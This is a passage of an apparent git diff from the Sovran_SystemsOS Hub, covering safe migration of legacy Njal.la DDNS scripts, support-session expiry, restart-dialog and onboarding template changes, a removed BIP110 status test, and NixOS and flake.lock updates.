def migrate_legacy_njalla_script(
|
||||
script_path: str,
|
||||
validate_fn: Callable[[str], str],
|
||||
save_fn: Callable[[list[str]], None],
|
||||
load_fn: Callable[[], list[str]],
|
||||
*,
|
||||
audit_fn: Callable[[str, str], None] | None = None,
|
||||
) -> None:
|
||||
"""Safely migrate legacy curl DDNS lines from a njalla.sh script to JSON store.
|
||||
|
||||
Reads the script **without** executing or sourcing it. Parses only the
|
||||
exact narrow curl-pattern lines (quoted or unquoted) written by old Hub
|
||||
versions. Any other line is silently discarded — never executed or logged
|
||||
(it may contain secret tokens).
|
||||
|
||||
On successful persistence the script is archived with mode ``0o000`` so
|
||||
it can no longer be executed. If persistence fails the script is left
|
||||
**untouched**.
|
||||
|
||||
Args:
|
||||
script_path: Path to the legacy njalla.sh file.
|
||||
validate_fn: URL validation function; raises ``ValueError`` on invalid
|
||||
URLs. Callers must substitute the ``${IP}`` placeholder before
|
||||
calling — this function passes ``url.replace("${IP}", "127.0.0.1")``
|
||||
to the validator.
|
||||
save_fn: Callable that atomically writes a ``list[str]`` URL list to
|
||||
the persistent JSON store.
|
||||
load_fn: Callable that returns the current ``list[str]`` URL list from
|
||||
the persistent store.
|
||||
audit_fn: Optional callback ``(event: str, details: str)`` for audit
|
||||
logging. Token-bearing URLs are **never** passed to this callback.
|
||||
"""
|
||||
|
||||
def _audit(event: str, details: str = "") -> None:
|
||||
if audit_fn:
|
||||
audit_fn(event, details)
|
||||
|
||||
try:
|
||||
with open(script_path, "r") as f:
|
||||
content = f.read()
|
||||
except FileNotFoundError:
|
||||
return
|
||||
except OSError:
|
||||
return
|
||||
|
||||
existing_urls = load_fn()
|
||||
|
||||
new_urls: list[str] = []
|
||||
for raw_line in content.splitlines():
|
||||
line = raw_line.strip()
|
||||
if not line or line.startswith("#") or line.startswith("IP=") or line.startswith("#!/"):
|
||||
continue
|
||||
m = _LEGACY_NJALLA_CURL_RE.match(line)
|
||||
if not m:
|
||||
# Unrecognised line — discard silently, do NOT log (may contain tokens)
|
||||
continue
|
||||
# group(1) = quoted form, group(2) = unquoted form
|
||||
raw_url = m.group(1) or m.group(2)
|
||||
# Substitute placeholder so host/scheme/path validation works
|
||||
url_to_validate = raw_url.replace("${IP}", "127.0.0.1")
|
||||
try:
|
||||
validate_fn(url_to_validate)
|
||||
except ValueError:
|
||||
continue # Silently discard invalid/non-Njal.la URLs
|
||||
if raw_url not in existing_urls and raw_url not in new_urls:
|
||||
new_urls.append(raw_url)
|
||||
|
||||
if new_urls:
|
||||
combined = existing_urls + new_urls
|
||||
try:
|
||||
save_fn(combined)
|
||||
except Exception:
|
||||
# Persistence failed — leave the script untouched, return without
|
||||
# archiving so the migration can be retried.
|
||||
return
|
||||
_audit("NJALLA_MIGRATION", f"migrated {len(new_urls)} DDNS URLs from legacy script")
|
||||
|
||||
# Archive: remove all permission bits so cron/any mechanism cannot run it
|
||||
try:
|
||||
os.chmod(script_path, 0o000)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def expire_if_stale(
|
||||
status_file: str,
|
||||
*,
|
||||
clock_fn: Callable[[], float] | None = None,
|
||||
disable_fn: Callable[[], bool] | None = None,
|
||||
audit_fn: Callable[[str, str], None] | None = None,
|
||||
session_id: str | None = None,
|
||||
expected_expiry: float | None = None,
|
||||
max_session_seconds: float = 86400.0,
|
||||
) -> bool:
|
||||
"""Expire a support session if its deadline has passed.
|
||||
|
||||
**Stale-timer guard:** when ``session_id`` and/or ``expected_expiry`` are
|
||||
provided (used by the server-side timer callback), the stored session
|
||||
metadata is compared field-by-field. A mismatch means a replacement
|
||||
session has been started after this timer was scheduled; in that case the
|
||||
function returns ``False`` without touching anything.
|
||||
|
||||
Args:
|
||||
status_file: Path to the JSON session metadata file.
|
||||
clock_fn: Callable returning current Unix time (default: ``time.time``).
|
||||
disable_fn: Callable that performs the full disable sequence — removes
|
||||
the support key, removes wallet-unlock metadata, restores deny
|
||||
ACLs, clears session metadata, and audits the event. If ``None``,
|
||||
expiry is detected but no action is taken (useful for tests that
|
||||
want to inspect detection only).
|
||||
audit_fn: Optional callback ``(event: str, details: str)`` for audit
|
||||
logging.
|
||||
session_id: If given, expiry is skipped unless the stored
|
||||
``session_id`` field matches exactly.
|
||||
expected_expiry: If given, expiry is skipped unless the stored
|
||||
``expires_at`` field matches exactly.
|
||||
max_session_seconds: Legacy fallback: maximum age (from ``enabled_at``)
|
||||
when ``expires_at`` is absent.
|
||||
|
||||
Returns:
|
||||
``True`` if a session was expired, ``False`` otherwise.
|
||||
"""
|
||||
_now = clock_fn if clock_fn is not None else _time_module.time
|
||||
|
||||
def _audit(event: str, details: str = "") -> None:
|
||||
if audit_fn:
|
||||
audit_fn(event, details)
|
||||
|
||||
def _disable() -> bool:
|
||||
return disable_fn() if disable_fn is not None else True
|
||||
|
||||
try:
|
||||
with open(status_file, "r") as f:
|
||||
info = json.load(f)
|
||||
except (FileNotFoundError, json.JSONDecodeError):
|
||||
return False
|
||||
|
||||
# Stale-timer guard
|
||||
if session_id is not None and info.get("session_id") != session_id:
|
||||
return False
|
||||
if expected_expiry is not None and info.get("expires_at") != expected_expiry:
|
||||
return False
|
||||
|
||||
expires_at = info.get("expires_at")
|
||||
now = _now()
|
||||
|
||||
if expires_at is None:
|
||||
enabled_at = info.get("enabled_at", 0)
|
||||
if enabled_at and (now - enabled_at) > max_session_seconds:
|
||||
_audit("SUPPORT_EXPIRED", "legacy session without expires_at exceeded max duration")
|
||||
_disable()
|
||||
return True
|
||||
return False
|
||||
|
||||
if now >= expires_at:
|
||||
_audit("SUPPORT_EXPIRED", f"session expired at {expires_at:.0f}")
|
||||
_disable()
|
||||
return True
|
||||
|
||||
return False
|
||||
@@ -21,9 +21,17 @@
|
||||
<!-- Header bar -->
|
||||
<header class="header-bar">
|
||||
<img src="/static/sovran-hub-icon.svg" alt="Sovran Hub" class="header-logo" />
|
||||
<span class="title">Sovran_SystemsOS Hub</span>
|
||||
|
||||
<div class="title-group">
|
||||
<span class="title">Sovran_SystemsOS Hub</span>
|
||||
|
||||
<!-- OS Version Badge — styled identically to the version badge in service modals -->
|
||||
<span class="os-version-badge" id="os-version-badge" title="Sovran_SystemsOS Version">v{{ sovran_version }}</span>
|
||||
</div>
|
||||
|
||||
<div class="header-buttons">
|
||||
<span class="role-badge" id="role-badge">Loading…</span>
|
||||
<button class="btn btn-header-reboot" id="btn-header-reboot" title="Restart the entire computer">Reboot</button>
|
||||
<button class="btn btn-logout" id="btn-logout" title="Sign out">Sign Out</button>
|
||||
</div>
|
||||
</header>
|
||||
@@ -61,7 +69,7 @@
|
||||
<div class="modal-log" id="modal-log" aria-live="polite"></div>
|
||||
<div class="modal-footer">
|
||||
<button class="btn btn-save" id="btn-save-report" style="display:none">Save Error Report</button>
|
||||
<button class="btn btn-reboot" id="btn-reboot" style="display:none">Reboot</button>
|
||||
<button class="btn btn-reboot" id="btn-reboot" style="display:none">Restart Entire System</button>
|
||||
<button class="btn btn-close-modal" id="btn-close-modal" disabled>Close</button>
|
||||
</div>
|
||||
</div>
|
||||
@@ -164,7 +172,7 @@
|
||||
<div class="modal-log" id="rebuild-log" aria-live="polite"></div>
|
||||
<div class="modal-footer">
|
||||
<button class="btn btn-save" id="rebuild-save-report" style="display:none">Save Error Report</button>
|
||||
<button class="btn btn-reboot" id="rebuild-reboot-btn" style="display:none">Reboot</button>
|
||||
<button class="btn btn-reboot" id="rebuild-reboot-btn" style="display:none">Restart Entire System</button>
|
||||
<button class="btn btn-close-modal" id="rebuild-close-btn" disabled>Close</button>
|
||||
</div>
|
||||
</div>
|
||||
@@ -240,32 +248,68 @@
|
||||
You will need it to log in to your computer<br />and the Sovran Hub at <em>sovransystemsos.local</em>.
|
||||
</p>
|
||||
<button class="security-reset-reboot-btn" id="security-reset-reboot-btn" disabled>
|
||||
I have written down my new password — Reboot now
|
||||
I have written down my new password — Restart Entire System
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Reboot overlay -->
|
||||
<div class="reboot-overlay" id="reboot-overlay">
|
||||
<div class="reboot-card">
|
||||
<div class="reboot-icon">↻</div>
|
||||
<h2 class="reboot-title">System Rebooting</h2>
|
||||
<!-- Normal restarting card -->
|
||||
<div class="reboot-card" id="reboot-main-card">
|
||||
<div class="reboot-icon" aria-hidden="true">↻</div>
|
||||
<h2 class="reboot-title">Restarting Entire System</h2>
|
||||
<p class="reboot-message">
|
||||
Sovran_SystemsOS is now restarting.<br />
|
||||
This page will automatically reconnect once the system is back online.
|
||||
The entire computer is restarting, including the desktop and all hosted services.<br />
|
||||
This page will reconnect automatically when Sovran_SystemsOS is back online.
|
||||
</p>
|
||||
<div class="reboot-dots">
|
||||
<div class="reboot-dots" aria-hidden="true">
|
||||
<span class="reboot-dot"></span>
|
||||
<span class="reboot-dot"></span>
|
||||
<span class="reboot-dot"></span>
|
||||
</div>
|
||||
<p class="reboot-submessage">Stay tuned…</p>
|
||||
<p class="reboot-submessage" id="reboot-submessage" aria-live="polite">Sending restart request…</p>
|
||||
</div>
|
||||
<!-- Error card (shown if restart request fails definitively) -->
|
||||
<div class="reboot-card" id="reboot-error-card" style="display:none">
|
||||
<div class="reboot-icon" aria-hidden="true">⚠</div>
|
||||
<h2 class="reboot-title">Restart could not be started</h2>
|
||||
<p class="reboot-message">
|
||||
The computer did not begin restarting. No services were intentionally stopped. Please try again.
|
||||
</p>
|
||||
<div class="reboot-error-actions">
|
||||
<button class="btn btn-close-modal" id="reboot-error-close-btn">Close</button>
|
||||
<button class="btn btn-restart-amber" id="reboot-error-retry-btn">Try Again</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Restart Confirm Dialog -->
|
||||
<div class="modal-overlay" id="restart-confirm-modal" role="dialog" aria-modal="true" aria-labelledby="restart-confirm-title">
|
||||
<div class="creds-dialog domain-narrow-dialog">
|
||||
<div class="creds-header">
|
||||
<span class="creds-title" id="restart-confirm-title">Restart the entire computer?</span>
|
||||
</div>
|
||||
<div class="creds-body">
|
||||
<div id="restart-conflict-box" class="restart-conflict-box" style="display:none">
|
||||
<p class="restart-conflict-title">The system cannot restart right now.</p>
|
||||
<p class="restart-conflict-desc">A system update, rebuild, backup, restore, or security operation is currently running. Wait for it to finish, then try again.</p>
|
||||
</div>
|
||||
<p class="support-desc"><strong>This will reboot the physical machine running Sovran_SystemsOS — not just the Hub.</strong></p>
|
||||
<p class="support-desc">The desktop and all hosted services will stop temporarily and restart with the computer. Anyone currently using these services will be disconnected.</p>
|
||||
<p class="support-desc">The system usually returns within 1–3 minutes. This page will reconnect automatically.</p>
|
||||
<div class="domain-field-actions">
|
||||
<button class="btn btn-close-modal" id="restart-confirm-cancel-btn">Cancel</button>
|
||||
<button class="btn btn-restart-amber" id="restart-confirm-ok-btn">Restart Entire System</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script src="/static/js/constants.js?v={{ asset_version }}"></script>
|
||||
<script src="/static/js/state.js?v={{ asset_version }}"></script>
|
||||
<script src="/static/js/helpers.js?v={{ asset_version }}"></script>
|
||||
<script src="/static/js/domain-prereqs.js?v={{ asset_version }}"></script>
|
||||
<script src="/static/js/tiles.js?v={{ asset_version }}"></script>
|
||||
<script src="/static/js/service-detail.js?v={{ asset_version }}"></script>
|
||||
<script src="/static/js/support.js?v={{ asset_version }}"></script>
|
||||
|
||||
@@ -34,8 +34,6 @@
|
||||
<span class="onboarding-step-dot" data-step="3">3</span>
|
||||
<span class="onboarding-step-connector"></span>
|
||||
<span class="onboarding-step-dot" data-step="4">4</span>
|
||||
<span class="onboarding-step-connector"></span>
|
||||
<span class="onboarding-step-dot" data-step="5">5</span>
|
||||
</div>
|
||||
|
||||
<!-- Step panels -->
|
||||
@@ -127,10 +125,8 @@
|
||||
<span class="onboarding-step-icon">🌐</span>
|
||||
<h2 class="onboarding-step-title">Domain Configuration</h2>
|
||||
<p class="onboarding-step-desc">
|
||||
Sovran_SystemsOS uses <strong><a href="https://njal.la" target="_blank" style="color: var(--accent-color);">Njal.la</a></strong> for domains and Dynamic DNS.
|
||||
First, create an account at <strong>Njal.la</strong> and purchase a new domain, or create a subdomain from a domain you already own. Tip: Subdomains are free to create — you only need to purchase one domain, and you can add as many subdomains as you need at no extra cost.
|
||||
Then, in the Njal.la web interface, create a <strong>Dynamic</strong> record pointing to this machine's external IP address (shown below).
|
||||
Finally, paste the DDNS curl command from your Njal.la dashboard for each service below.
|
||||
Sovran_SystemsOS uses <strong><a href="https://njal.la" target="_blank" style="color: var(--accent-color);">Njal.la</a></strong> for domains and Dynamic DNS, and your router needs ports <strong>80</strong> and <strong>443</strong> (TCP) forwarded to this computer.
|
||||
Everything you need — Njal.la account, Dynamic records, and the one router task — is laid out step by step below.
|
||||
</p>
|
||||
</div>
|
||||
<div class="onboarding-card" id="step-3-body">
|
||||
@@ -145,29 +141,8 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- ── Step 4: Port Forwarding ── -->
|
||||
<!-- ── Step 4: Complete ── -->
|
||||
<div class="onboarding-panel" id="step-4" style="display:none">
|
||||
<div class="onboarding-step-header">
|
||||
<span class="onboarding-step-icon">🔌</span>
|
||||
<h2 class="onboarding-step-title">Port Forwarding Check</h2>
|
||||
<p class="onboarding-step-desc">
|
||||
Forward these ports on your router to this machine. Each port only needs to be opened once — they are shared across all your services.
|
||||
<strong>Ports 80 and 443 must be open for SSL certificates to work.</strong>
|
||||
</p>
|
||||
</div>
|
||||
<div class="onboarding-card" id="step-4-body">
|
||||
<p class="onboarding-loading">Checking ports…</p>
|
||||
</div>
|
||||
<div class="onboarding-footer">
|
||||
<button class="btn btn-close-modal onboarding-btn-back" data-prev="3">← Back</button>
|
||||
<button class="btn btn-primary onboarding-btn-next" id="step-4-next">
|
||||
Continue →
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- ── Step 5: Complete ── -->
|
||||
<div class="onboarding-panel" id="step-5" style="display:none">
|
||||
<div class="onboarding-hero">
|
||||
<div class="onboarding-logo">✅</div>
|
||||
<h1 class="onboarding-title">Your Sovran_SystemsOS is Ready!</h1>
|
||||
@@ -181,12 +156,11 @@
|
||||
<ul class="onboarding-checklist" id="onboarding-checklist">
|
||||
<li>✅ Timezone & locale configured</li>
|
||||
<li>✅ Domain configuration saved</li>
|
||||
<li>✅ Port forwarding reviewed</li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="onboarding-footer">
|
||||
<button class="btn btn-close-modal onboarding-btn-back" data-prev="4">← Back</button>
|
||||
<button class="btn btn-primary" id="step-5-finish">
|
||||
<button class="btn btn-close-modal onboarding-btn-back" data-prev="3">← Back</button>
|
||||
<button class="btn btn-primary" id="step-4-finish">
|
||||
Go to Dashboard →
|
||||
</button>
|
||||
</div>
|
||||
@@ -195,6 +169,7 @@
|
||||
</div><!-- /panel-wrap -->
|
||||
</div><!-- /shell -->
|
||||
|
||||
<script src="/static/js/domain-prereqs.js?v={{ asset_version }}"></script>
|
||||
<script src="/static/onboarding.js?v={{ onboarding_js_hash }}"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,16 @@
|
||||
{
|
||||
"caddy.service": "2.8.4",
|
||||
"tor.service": "0.4.8.12",
|
||||
"gnome-remote-desktop.service": "46.0",
|
||||
"bitcoind.service": "27.1.0",
|
||||
"electrs.service": "0.10.6",
|
||||
"lnd.service": "0.18.0",
|
||||
"rtl.service": "0.15.2",
|
||||
"btcpayserver.service": "2.4.2",
|
||||
"albyhub.service": "1.8.0",
|
||||
"mempool.service": "3.0.0",
|
||||
"matrix-synapse.service": "1.115.0",
|
||||
"livekit.service": "1.5.2",
|
||||
"vaultwarden.service": "1.32.0",
|
||||
"haven-relay.service": "0.1.0"
|
||||
}
|
||||
@@ -1,166 +0,0 @@
|
||||
import unittest
|
||||
from unittest.mock import patch
|
||||
from pathlib import Path
|
||||
import sys
|
||||
import types
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parents[1]))
|
||||
|
||||
|
||||
def _install_web_stubs():
|
||||
if "fastapi" in sys.modules:
|
||||
return
|
||||
|
||||
class _HTTPException(Exception):
|
||||
def __init__(self, status_code=None, detail=None):
|
||||
super().__init__(detail)
|
||||
self.status_code = status_code
|
||||
self.detail = detail
|
||||
|
||||
class _FastAPI:
|
||||
def __init__(self, *args, **kwargs):
|
||||
pass
|
||||
|
||||
def mount(self, *args, **kwargs):
|
||||
return None
|
||||
|
||||
def add_middleware(self, *args, **kwargs):
|
||||
return None
|
||||
|
||||
def __getattr__(self, _name):
|
||||
def _decorator_factory(*args, **kwargs):
|
||||
def _decorator(func):
|
||||
return func
|
||||
|
||||
return _decorator
|
||||
|
||||
return _decorator_factory
|
||||
|
||||
class _BaseModel:
|
||||
pass
|
||||
|
||||
class _StaticFiles:
|
||||
def __init__(self, *args, **kwargs):
|
||||
pass
|
||||
|
||||
class _Jinja2Templates:
|
||||
def __init__(self, *args, **kwargs):
|
||||
pass
|
||||
|
||||
class _BaseHTTPMiddleware:
|
||||
pass
|
||||
|
||||
fastapi_module = types.ModuleType("fastapi")
|
||||
fastapi_module.FastAPI = _FastAPI
|
||||
fastapi_module.HTTPException = _HTTPException
|
||||
sys.modules["fastapi"] = fastapi_module
|
||||
|
||||
responses_module = types.ModuleType("fastapi.responses")
|
||||
responses_module.HTMLResponse = object
|
||||
responses_module.JSONResponse = object
|
||||
responses_module.RedirectResponse = object
|
||||
sys.modules["fastapi.responses"] = responses_module
|
||||
|
||||
staticfiles_module = types.ModuleType("fastapi.staticfiles")
|
||||
staticfiles_module.StaticFiles = _StaticFiles
|
||||
sys.modules["fastapi.staticfiles"] = staticfiles_module
|
||||
|
||||
templating_module = types.ModuleType("fastapi.templating")
|
||||
templating_module.Jinja2Templates = _Jinja2Templates
|
||||
sys.modules["fastapi.templating"] = templating_module
|
||||
|
||||
requests_module = types.ModuleType("fastapi.requests")
|
||||
requests_module.Request = object
|
||||
sys.modules["fastapi.requests"] = requests_module
|
||||
|
||||
pydantic_module = types.ModuleType("pydantic")
|
||||
pydantic_module.BaseModel = _BaseModel
|
||||
sys.modules["pydantic"] = pydantic_module
|
||||
|
||||
starlette_base_module = types.ModuleType("starlette.middleware.base")
|
||||
starlette_base_module.BaseHTTPMiddleware = _BaseHTTPMiddleware
|
||||
sys.modules["starlette.middleware.base"] = starlette_base_module
|
||||
|
||||
starlette_middleware_module = types.ModuleType("starlette.middleware")
|
||||
starlette_middleware_module.base = starlette_base_module
|
||||
sys.modules["starlette.middleware"] = starlette_middleware_module
|
||||
|
||||
starlette_module = types.ModuleType("starlette")
|
||||
starlette_module.middleware = starlette_middleware_module
|
||||
sys.modules["starlette"] = starlette_module
|
||||
|
||||
|
||||
_install_web_stubs()
|
||||
from sovran_systemsos_web import server
|
||||
|
||||
|
||||
class Bip110StatusTests(unittest.TestCase):
|
||||
def _status(self, deploy_info, net_info):
|
||||
with patch.object(server, "_get_bitcoin_deployment_info", return_value=deploy_info), patch.object(
|
||||
server, "_get_bitcoin_version_info", return_value=net_info
|
||||
):
|
||||
return server._get_bip110_status()
|
||||
|
||||
def test_started_reduced_data_reports_signaling(self):
|
||||
deploy_info = {
|
||||
"deployments": {
|
||||
"reduced_data": {
|
||||
"type": "bip9",
|
||||
"active": False,
|
||||
"bip9": {
|
||||
"bit": 4,
|
||||
"status": "started",
|
||||
"statistics": {"elapsed": 833, "count": 4, "threshold": 1109},
|
||||
"signalling": "--#--",
|
||||
},
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
result = self._status(deploy_info, {"subversion": "/Satoshi:29.0.0/"})
|
||||
self.assertEqual(
|
||||
result,
|
||||
{"supported": True, "signaling": True, "state": "signaling", "source": "getdeploymentinfo"},
|
||||
)
|
||||
|
||||
def test_active_reduced_data_reports_active(self):
|
||||
deploy_info = {
|
||||
"deployments": {"reduced_data": {"active": True, "bip9": {"bit": 4, "status": "active"}}}
|
||||
}
|
||||
|
||||
result = self._status(deploy_info, {"subversion": "/Satoshi:29.0.0/"})
|
||||
self.assertEqual(result["state"], "active")
|
||||
self.assertTrue(result["supported"])
|
||||
self.assertTrue(result["signaling"])
|
||||
self.assertEqual(result["source"], "getdeploymentinfo")
|
||||
|
||||
def test_locked_in_reduced_data_reports_locked_in(self):
|
||||
deploy_info = {
|
||||
"deployments": {"reduced_data": {"active": False, "bip9": {"bit": 4, "status": "locked_in"}}}
|
||||
}
|
||||
|
||||
result = self._status(deploy_info, {"subversion": "/Satoshi:29.0.0/"})
|
||||
self.assertEqual(result["state"], "locked_in")
|
||||
self.assertTrue(result["supported"])
|
||||
self.assertTrue(result["signaling"])
|
||||
self.assertEqual(result["source"], "getdeploymentinfo")
|
||||
|
||||
def test_no_bip110_deployment_and_plain_subversion_reports_unsupported(self):
|
||||
deploy_info = {
|
||||
"deployments": {
|
||||
"taproot": {"type": "bip9", "active": True, "bip9": {"bit": 2, "status": "active"}},
|
||||
}
|
||||
}
|
||||
result = self._status(deploy_info, {"subversion": "/Satoshi:27.0.0/"})
|
||||
self.assertEqual(
|
||||
result,
|
||||
{"supported": False, "signaling": False, "state": "unsupported", "source": "subversion"},
|
||||
)
|
||||
|
||||
def test_node_unreachable_reports_unknown(self):
|
||||
result = self._status(None, None)
|
||||
self.assertEqual(result, {"supported": False, "signaling": False, "state": "unknown", "source": "none"})
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 442 KiB |
+5
-8
@@ -149,8 +149,8 @@
|
||||
gparted pv unzip parted screen zenity
|
||||
libargon2 gnome-terminal libreoffice-fresh
|
||||
dig firefox wp-cli axel
|
||||
lk-jwt-service livekit-libwebrtc livekit-cli livekit
|
||||
matrix-synapse age
|
||||
lk-jwt-service livekit-libwebrtc livekit
|
||||
matrix-synapse age onlyoffice-desktopeditors
|
||||
];
|
||||
|
||||
# ── Shell ──────────────────────────────────────────────────
|
||||
@@ -192,12 +192,9 @@ backup /etc/nix-bitcoin-secrets/ localhost/
|
||||
};
|
||||
|
||||
# ── Cron ───────────────────────────────────────────────────
|
||||
services.cron = {
|
||||
enable = true;
|
||||
systemCronJobs = [
|
||||
"*/15 * * * * root /run/current-system/sw/bin/bash /var/lib/njalla/njalla.sh"
|
||||
];
|
||||
};
|
||||
# The legacy njalla.sh root cron job has been replaced by the systemd timer
|
||||
# defined in modules/core/njalla.nix (sovran-ddns-update.timer). Cron is
|
||||
# retained so that rsnapshot and other module-defined cron jobs continue to run.
|
||||
|
||||
# ── Tor ────────────────────────────────────────────────────
|
||||
services.tor = { enable = true; client.enable = true; torsocks.enable = true; };
|
||||
|
||||
Generated
+25
-156
@@ -5,11 +5,11 @@
|
||||
"nixpkgs": "nixpkgs"
|
||||
},
|
||||
"locked": {
|
||||
"lastModified": 1780397635,
|
||||
"narHash": "sha256-6WH7LKD6i91VLWoz4mEpoULtqVinCEZxG7ZjJPMSi3k=",
|
||||
"lastModified": 1785778881,
|
||||
"narHash": "sha256-yHJJTm3o7ZhiVp68G+hh+dz1GKV+ACOT6mQj+eYvJLQ=",
|
||||
"owner": "emmanuelrosa",
|
||||
"repo": "btc-clients-nix",
|
||||
"rev": "feacd7684dc6bfcd49c57764944a2049bbd71924",
|
||||
"rev": "fc1aca94d839f82e7501fe0d01279d5c1fba6e63",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
@@ -18,32 +18,6 @@
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"extra-container": {
|
||||
"inputs": {
|
||||
"flake-utils": [
|
||||
"nix-bitcoin",
|
||||
"flake-utils"
|
||||
],
|
||||
"nixpkgs": [
|
||||
"nix-bitcoin",
|
||||
"nixpkgs"
|
||||
]
|
||||
},
|
||||
"locked": {
|
||||
"lastModified": 1766155727,
|
||||
"narHash": "sha256-XGp4HHH6D6ZKiO5RnMzqYJYnZB538EnEflvlTsOKpvo=",
|
||||
"owner": "erikarvstedt",
|
||||
"repo": "extra-container",
|
||||
"rev": "b450bdb24fca1076973c852d87bcb49b8eb5fd49",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "erikarvstedt",
|
||||
"ref": "0.14",
|
||||
"repo": "extra-container",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"flake-parts": {
|
||||
"inputs": {
|
||||
"nixpkgs-lib": [
|
||||
@@ -52,11 +26,11 @@
|
||||
]
|
||||
},
|
||||
"locked": {
|
||||
"lastModified": 1778716662,
|
||||
"narHash": "sha256-m1Yf0wZ8j1OHjTc2UwHwyQRSnNeSgLJOd7q5Y45hzi4=",
|
||||
"lastModified": 1782949081,
|
||||
"narHash": "sha256-vp6Y/Grm98ESt6ceOkWiHWyZRDV3J1RID4w+6NWK9yA=",
|
||||
"owner": "hercules-ci",
|
||||
"repo": "flake-parts",
|
||||
"rev": "f7c1a2d347e4c52d5fb8d10cb4d94b5884e546fb",
|
||||
"rev": "17c9d6cdfc60c64f4ee8d306f9bc0b4ccb51481e",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
@@ -65,54 +39,13 @@
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"flake-utils": {
|
||||
"inputs": {
|
||||
"systems": "systems"
|
||||
},
|
||||
"locked": {
|
||||
"lastModified": 1731533236,
|
||||
"narHash": "sha256-l0KFg5HjrsfsO/JpG+r7fRrqm12kzFHyUHqHCVpMMbI=",
|
||||
"owner": "numtide",
|
||||
"repo": "flake-utils",
|
||||
"rev": "11707dc2f618dd54ca8739b309ec4fc024de578b",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "numtide",
|
||||
"repo": "flake-utils",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"nix-bitcoin": {
|
||||
"inputs": {
|
||||
"extra-container": "extra-container",
|
||||
"flake-utils": "flake-utils",
|
||||
"nixpkgs": "nixpkgs_2",
|
||||
"nixpkgs-25_05": "nixpkgs-25_05",
|
||||
"nixpkgs-unstable": "nixpkgs-unstable"
|
||||
},
|
||||
"locked": {
|
||||
"lastModified": 1779253922,
|
||||
"narHash": "sha256-k5DpYVfyy27ELuEiV+51EfVg7B6vKUW63NWeA6eKGd0=",
|
||||
"owner": "fort-nix",
|
||||
"repo": "nix-bitcoin",
|
||||
"rev": "1496f842477976c085cd96f1837ea12444014088",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "fort-nix",
|
||||
"ref": "release",
|
||||
"repo": "nix-bitcoin",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"nixpkgs": {
|
||||
"locked": {
|
||||
"lastModified": 1780218263,
|
||||
"narHash": "sha256-T/f0pPDrH3Qc1VXyQXbK7yfHWRn90l3xwplc/nsxin4=",
|
||||
"lastModified": 1785590095,
|
||||
"narHash": "sha256-CNO2szJbdLjVN/Hi1BML9MSALz1GM2fIdwnzs404QO8=",
|
||||
"owner": "NixOS",
|
||||
"repo": "nixpkgs",
|
||||
"rev": "7fc393d1b46fa000d48ff14e8b6a3c9985f03af0",
|
||||
"rev": "e568f3b19d54b08f48bfae9b12b3e124d1a28002",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
@@ -121,29 +54,13 @@
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"nixpkgs-25_05": {
|
||||
"locked": {
|
||||
"lastModified": 1767313136,
|
||||
"narHash": "sha256-16KkgfdYqjaeRGBaYsNrhPRRENs0qzkQVUooNHtoy2w=",
|
||||
"owner": "NixOS",
|
||||
"repo": "nixpkgs",
|
||||
"rev": "ac62194c3917d5f474c1a844b6fd6da2db95077d",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "NixOS",
|
||||
"ref": "nixos-25.05",
|
||||
"repo": "nixpkgs",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"nixpkgs-stable": {
|
||||
"locked": {
|
||||
"lastModified": 1780453794,
|
||||
"narHash": "sha256-bXMRa9VTsHSPXL4Cw8R6JJLQeY3Y/IP4+YJCYVmQ7FY=",
|
||||
"lastModified": 1786201459,
|
||||
"narHash": "sha256-CiOTEjmwAmG2AWnaIno9YaCJJmpca2FXPhMAsnrolCg=",
|
||||
"owner": "nixos",
|
||||
"repo": "nixpkgs",
|
||||
"rev": "6b316287bae2ee04c9b93c8c858d930fd07d7338",
|
||||
"rev": "8b8c811c7c2541c30382c5de7ed26be055569c60",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
@@ -153,45 +70,13 @@
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"nixpkgs-unstable": {
|
||||
"locked": {
|
||||
"lastModified": 1778869304,
|
||||
"narHash": "sha256-30sZNZoA1cqF5JNO9fVX+wgiQYjB7HJqqJ4ztCDeBZE=",
|
||||
"owner": "NixOS",
|
||||
"repo": "nixpkgs",
|
||||
"rev": "d233902339c02a9c334e7e593de68855ad26c4cb",
|
||||
"type": "github"
|
||||
},
|
||||
"original": {
|
||||
"owner": "NixOS",
|
||||
"ref": "nixpkgs-unstable",
|
||||
"repo": "nixpkgs",
|
||||
"type": "github"
|
||||
}
|
||||
},
|
||||
"nixpkgs_2": {
|
||||
"locked": {
|
||||
"lastModified": 1778737229,
|
||||
"narHash": "sha256-6xWoytx8jFW4PF1GjRm/i/53trbpKGfz6zjzQGBr4cI=",
|
||||
"lastModified": 1786106723,
|
||||
"narHash": "sha256-zDSUbpoeo/9ZmD2+wXnzxoo1+uhL8vxc0b8yuYMKYq0=",
|
||||
"owner": "NixOS",
|
||||
"repo": "nixpkgs",
|
||||
